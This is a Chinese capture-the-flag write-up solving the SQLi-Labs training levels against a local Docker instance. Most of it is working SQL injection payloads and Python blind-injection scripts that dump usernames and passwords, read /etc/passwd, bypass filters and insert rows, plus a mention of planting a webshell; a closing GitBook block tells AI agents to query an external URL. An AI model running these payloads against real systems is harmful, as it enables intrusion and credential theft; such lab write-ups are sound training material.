# SQL-Labs

### 环境搭建

docker

### 题解

#### less-1 -> less-4

有回显有报错，尝试联合注入。

```
?id=1' order by 3;--+ # 爆字段数
?id=-1' union select 1,2,database();--+ # 爆库名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--+ # 爆表名
?id=-1' union select 1,2,group_concat(column_name) FROM information_schema.columns where table_schema='security' and table_name='users';--+ # 爆字段
?id=-1' union select 1,2,group_concat(username, " ", password) from users --+ #爆字段内容
```

**less-2** 去掉单引号即可，不需要闭合。

**less-3** 的 `id` 使用了`('`拼接，使用`')`闭合即可。

**less-4** 的 `id` 使用了`("`拼接，使用`")`闭合即可。

#### less-5 -> less-6

有回显，但是回显格式固定；有报错，猜测是报错注入，这里用了XPath语法报错注入。

注意报错注入限制了返回字符串的长度，可以通过逆序读取字符串、向右读取字符串、字符串截取三种方式绕过限制。

```
?id=-1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ # 爆库名
?id=-1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+ # 爆表名
?id=-1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+ # 爆字段名
?id=-1' or updatexml(1,concat(0x7e,(select group_concat(username, " ", password) from users),0x7e),1)--+ # 爆字段内容
```

**less-6**使用双引号闭合。

#### less-7

有回显，没有具体回显信息，但是可以区分是否查询成功；有报错，但是没有输出报错信息，想到可能要用盲注。

提示给出`"Use outfile"`,猜测用户拥有文件读写权限。

于是读取`/etc/passwd`文件

```
import requests


if __name__ == "__main__":
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://127.0.0.1:8080/Less-7/?id=1'))and ascii(substring((select load_file('/etc/passwd')),{i},{i}))>{mid} --+"
            response = requests.get(url)
            if response.text.find("You are in") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid), end="")
```

接着读取user表。

```
import requests


if __name__ == "__main__":
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://127.0.0.1:8080/Less-7/?id=1'))and ascii(substring((select group_concat(password) from users),{i},{i}))>{mid} --+"
            response = requests.get(url)
            if response.text.find("You are in") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid), end="")
```

才学疏浅，看到有姿势知道可以Apache配置文件，获得网站路径。

Apache配置文件路径；

```
/etc/apache2/sites-enabled/000-default.conf
```

```
<VirtualHost *:80>         
ServerAdmin webmaster@localhost          
DocumentRoot /var/www/html         
<Directory />                 
Options FollowSymLinks                 
AllowOverride None         
</Directory>         
<Directory /var/www/html>          
```

但其实不读也没关系？毕竟通常Apache目录都在/var/www/html/下。

还有正常其实是可以写入文件的，直接exec进去改权限。

```
docker exec -it 6c7 /bin/bash
```

<figure><img src="https://oatmeal.vip/wp-content/uploads/2021/03/image-38.png" alt=""><figcaption></figcaption></figure>

```
chmod 777 /var/www/html/Less-7/
```

写入文件之后蚁剑一把梭。

#### Less-8

布尔盲注

```
import requests


if __name__ == "__main__":
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://127.0.0.1:8080/Less-8/?id=1' and ascii(substring((select group_concat(password) from users),{i},{i}))>{mid} --+"
            response = requests.get(url)
            if response.text.find("You are in") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid), end="")
```

#### Less-9 -> Less-10

时间盲注

```
iimport requests
import time

if __name__ == '__main__':
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            payload = "select group_concat(password) from users"
            url = f"http://127.0.0.1:8080/Less-9/?id=1' and if(ascii(substring(({payload}),{i},{i}))>{mid},sleep(3),1)--+"
            start = time.time()
            response = requests.get(url, timeout=5)
            end = time.time()
            if end - start < 3:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid))
```

#### **Less-10**

把单引号改成双引号即可。

#### Less-11 -> Less-14

这关终于有个登录功能了，万能钥匙直接登录。

报错注入数据外带

跟**Less-5**一样的payload。

**Less-12**用`")`闭合。

**Less-13**用`')`闭合。

**Less-14**用`"`闭合。

#### Less-15 -> Less-16

报错爆不出来了，只能尝试盲注了。

看了一下源码，原来是不打印报错信息了。

看一下源码

直接单引号闭合盲注完事

```
import requests
import time

if __name__ == '__main__':
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            url = f"http://127.0.0.1:8080/Less-16/"
            data = {
                "uname": f"admin' or if(ascii(substring((select group_concat(password) from users),{i},1))>{mid},sleep(1),1);#",
                "passwd": "1' or 1=1;#"
            }

            try:
                start = time.time()
                response = requests.request("POST", url=url, data=data)
                end = time.time()
                if end - start < 3:
                    right = mid
                else:
                    left = mid + 1
                mid = (left + right) // 2
            except:
                left = mid + 1
        print(chr(mid))
```

#### **Less-16**

改成`")`完事。

这里脚本写的有点问题，延时的特别久直到timeout，也不懂是啥问题，最后只能用try捕捉了。

#### Less-17

密码更新功能，是update注入。

源码中打印error信息，报错注入一把梭。

```
uname=admin&passwd=123456' or updatexml(1,concat(0x7e,database(), 0x7e),1);#
```

#### Less-18

User-Agent注入，继续报错注入

```
username: Dumb
password: Dumb
User-Agent: admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
```

#### Less-19

Referer注入，和上一题差不多。

```
username: Dumb
password: Dumb
Referer: admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
```

#### Less-20

Cookie注入

登录后修改Cookie

```
' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) and '1'='1
```

#### Less-21

同Cookie注入，但是被Base64编码

登录后修改Cookie

```
JyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQocGFzc3dvcmQpIGZyb20gdXNlcnMpLDB4N2UpLDEpIGFuZCAnMSc9JzE=
```

#### Less-22

跟上一题一样，只是闭合方式改成双引号

```
IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSwxKSBvciAxPSIx
```

#### Less-23

又回到了ID注入

多了正则表达式，过滤了两个常见的注释字符，只要使用闭合而不是注释字符即可绕过。

```
?id=-1' union select 1, (select group_concat(username, " ", password) from users), '3
```

#### Less-24

看到有修改密码功能，直接盲猜二次注入。

看一下注册功能。

传入的username被转义，再看一下修改密码功能：

发现这里的`$username`被直接拼接使用，而没有经过转义，可以石锤二次注入。

注册账号，设置`$username`

```
$username=admin' #
```

再次修改密码，原SQL语句进行拼接，结果为：

```
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
```

可以直接修改原有账号`admin`的密码。

#### Less-25 -> Less-25a

把关键字`OR`和`AND`过滤，双写绕过。

```
?id=-1' union select 1,2,(select group_concat(passwoorrd) from users)--+
```

25a是数字型注入，不需要闭合。

#### Less-26 -> Less-26a

这题做的云里雾里，没有很懂后面的原理。

测试了一下，发现空格和注释被过滤了。

这题解法比较多元，可以用异或连接。

```
?id=1'^(updatexml(1,concat(0x7e,database(),0x7e),1))^'1
```

让我们在白盒测试一下，原SQL语句如下：

```
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
```

拼接后：

```
$sql="SELECT * FROM users WHERE id='1'^(updatexml(1,concat(0x7e,database(),0x7e),1))^'1' LIMIT 0,1"
```

测试一下，经过测试发现数字无论是多少，都会执行中间的updatexml语句，因为要进行异或操作，所以必定会执行XPath语句，然后报错

同理，相同的方法有`||`，也可以进行绕过。

而空格可以使用%0a绕过，在MySQL中，%0a、%0b等特殊字符都能进行绕过。

```
0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1
```

#### Less-27 -> Less->27a

大小写绕过即可，只要括号用的够多，是可以绕过空格过滤的。

```
?id=1'and(updatexml(1,concat(0x7e,(seLect(group_concat(password))from(users)),0x7e),1))and'1'='1
```

27a将`'`改为`"`即可。

#### Less-28

试了半天，没法报错注入了，一看源码，又把print给注释了。

于是接着盲注。

```
import requests

if __name__ == "__main__":
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            ch = chr(mid)
            url = f"http://127.0.0.1:8080/Less-28/?id=0')||substr(database(),{i},1)>'{ch}';%00"
            # print(url)
            response = requests.get(url)
            if response.text.find("Dumb") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid))
```

#### Less-29

看了源代码，注意到有报错提示，id变量用单引号闭合

```
?id=0' or (updatexml(1,concat(0x7e,database(),0x7e),1)) or '1'='1
```

注就完事了。

#### Less-30

这关注释了报错注入提示，但是有回显，可以考虑布尔盲注，也可以使用联合注入，提交的ID被双引号闭合。

```
import requests


if __name__ == "__main__":
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            ch = chr(mid)
            url = f'http://127.0.0.1:8080/Less-28/?id=0"or(length(database())>=10)="1'
            # print(url)
            response = requests.get(url)
            if response.text.find("Dumb") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        print(chr(mid))
```

#### Less-31

闭合方式不一样，多了一个`"`，可以使用报错注入，与29类似。

#### Less-32 -> Less-37

GBK编码注入，利用%df进行宽字节注入。

```
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
```

这几题原理类似，不再赘述。

#### Less-38 -> Less-41

堆叠注入。

```
?id=1';insert users values(2333,"oatmeal","123456");--+
```

这几题原理类似，修改闭合方式即可。

#### Less-42 -> Less-45

password没有过滤，可以堆叠注入。

```
login_user=admin&login_password=1'%3binsert users value(2333, "oatmeal", "123456")%3b#&mysubmit=Login
```

#### Less-46 -> Less-47

注入方式很多，随便注就行。

```
?sort=1'and updatexml(1,concat(0x7e,database(),0x7e),1)%23
```

#### Less-48 -> Less-49

这两题没有报错回显，盲注就行。区别在单引号上。

```
1' and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+
```

#### Less-50 -> Less-53

和前面的堆叠注入exp一样。


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook-88.gitbook.io/ctf-writeup/ba-chang/sql-labs.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
